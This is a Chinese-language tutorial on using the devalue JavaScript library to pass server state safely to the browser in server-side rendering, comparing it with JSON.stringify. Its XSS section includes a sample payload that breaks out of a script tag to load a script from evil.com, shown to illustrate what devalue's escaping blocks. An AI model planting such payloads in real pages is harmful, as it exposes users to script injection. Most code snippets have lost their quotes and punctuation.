ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

devalue在SSR中的应用:安全传递复杂数据到前端的完整指南

devalue在SSR中的应用:安全传递复杂数据到前端的完整指南 devalue在SSR中的应用安全传递复杂数据到前端的完整指南【免费下载链接】devalueGets the job done when JSON.stringify cant项目地址: https://gitcode.com/gh_mirrors/de/devaluedevalue是一个专为解决JSON.stringify无能为力场景而生的 JavaScript 数据序列化库官方描述Gets the job done when JSON.stringify cant。在 SSR服务端渲染中它能把含循环引用、Date、Map、BigInt甚至Promise的复杂数据安全、紧凑地传递到浏览器从根本上堵住 XSS 漏洞 ️为什么 JSON.stringify 在 SSR 中不够用SSR 的核心动作之一是把服务端状态预加载到浏览器里。很多框架会在 HTML 中内嵌一段script例如var preloaded ${JSON.stringify(state)};但这套方案在真实业务中会频繁踩坑痛点JSON.stringify的表现devalue 的表现循环引用obj.self obj 直接抛错✅ 用引用索引还原undefined、NaN、Infinity静默丢弃或变null✅ 用负数哨兵值精确保留Date、RegExp退化成字符串回来就死了✅ 可还原为原生对象Map、Set、BigInt直接变{}✅ 完整保真Buffer/ArrayBuffer/Typed Array❌ 不支持✅ Base64 编码传输用户输入的/script 可被注入脚本✅ 自动转义为\u003C最后一行是最致命的——它直接关联到安全问题。一招防住 XSS内嵌 SSR 状态的正确姿势假设服务端状态里含有用户输入const state { userinput: /scriptscript srchttps://evil.com/mwahaha.js };用JSON.stringify拼进模板输出会变成这样——攻击者成功逃逸出了script标签script var preloaded {userinput: /script script srchttps://evil.com/mwahaha.js } /script而换成 devalue 的uneval同一个输入会被转义成完全无害的字符串script var preloaded { userinput: \\u003C\\u002Fscript\\u003E... } /script这个转义就藏在字符串处理逻辑里escaped 映射表 把所有、反斜线和行分隔符统一转义任何注入路径都被封死。这就是 devalue 把安全列为核心目标之一的意义。快速上手三种序列化 API 怎么选devalue 提供三套 API覆盖从极致紧凑到完全安全的不同需求完整文档见 README1.uneval——输出最紧凑适合内嵌 HTML输入一个值直接返回可执行的 JS 代码无需额外解析器。循环引用会生成工厂函数devalue.uneval(obj); // {message:hello} obj.self obj; devalue.uneval(obj); // (function(a){a.messagehello;a.selfa;return a}({}))2.stringifyparse——不执行代码的安全方案与JSON.stringify/JSON.parse完全对偶但内部把所有值扁平化成索引数组。序列化逻辑在 src/stringify.js复用的对象只保留索引引用循环引用天然成立devalue.stringify(obj); // [{message:1},hello] devalue.parse(stringified); // { message: hello, self: 循环引用 }那些-1、-3、-4等负数它们是被编码的特殊值定义在 src/constants.js-1是undefined-3是NaN……3.stringifyAsync——Promise 也能序列化SSR 里常常一边取数据一边渲染stringifyAsync会await 掉对象里的所有 Promise再对解析结果序列化实现见 src/stringify.jslet obj { quick: data, slow: fetch(/api/slow).then(r r.json()) }; let stringified await devalue.stringifyAsync(obj);SSR 实战一条完整的数据流服务端Node.jsimport { uneval } from devalue; // 状态里可以混着 Date、Map、BigInt、RegExp 等复杂类型 const state { user, updatedAt: new Date(), tags: new Set([vue, svelte]), quota: 9007199254740993n }; const html script window.__DATA__ ${uneval(state)}; /script;客户端什么都不用做uneval输出的就是现成的 JS 表达式浏览器执行script时window.__DATA__已经复活为完整对象连请求都省了 如果你不放心执行任何代码则改用stringify/parse组合客户端用devalue.parse(window.__DATA__)还原即可。序列化失败时错误会告诉你病根在哪数据里混进了函数或自定义类实例devalue 会抛出一个携带路径信息的DevalueErrorerror.path直接指出问题值的位置见 src/utils.jsconsole.log(e.path); // .object.array[0].get(key)排查大型 SSR 状态时这一条能省掉大量二分查找的时间。自定义类型给业务模型配一个还原器业务里总有实例类比如Vector、Money。给stringify传reducer、给parse传reviver即可无缝支持const s devalue.stringify(new Vector(30, 40), { Vector: (v) v instanceof Vector [v.x, v.y] }); const v devalue.parse(s, { Vector: ([x, y]) new Vector(x, y) }); v.magnitude(); // 50安全红线这三条务必牢记只从服务端向客户端发送数据。用unevaleval的链路绝不能反向——客户端传来的数据一旦参与求值等于把执行权交给攻击者。必须间接调用 eval用(0, eval)(( str ))而非eval(...)避免求值代码访问闭包里的敏感变量。拒绝非白名单对象。devalue 遇到函数、Symbol 和非 POJO 会主动抛错这是它的安全底线——不要试图绕过。项目结构与延伸库入口index.js四个核心 API 一目了然扁平化/还原算法src/stringify.js / src/parse.js特殊值常量src/constants.js二进制 Base64 编解码src/base64.js可插拔的operations接口沙箱化、跨运行时序列化src/operations.js更新历史CHANGELOG.md总结选择适用场景uneval服务端→客户端内嵌状态追求最小体积stringifyparse不允许执行任何代码的环境stringifyAsync状态中含未完成的Promise在 SSR 场景里如何把复杂状态安全传到前端是绕不开的课题。devalue 用一套极简 API 同时解决了类型保真、循环引用和XSS 注入三大痛点是 Next.js、SvelteKit、Nuxt 等框架生态中值得信赖的基础设施。一次引入从此告别手写的序列化补丁 【免费下载链接】devalueGets the job done when JSON.stringify cant项目地址: https://gitcode.com/gh_mirrors/de/devalue创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表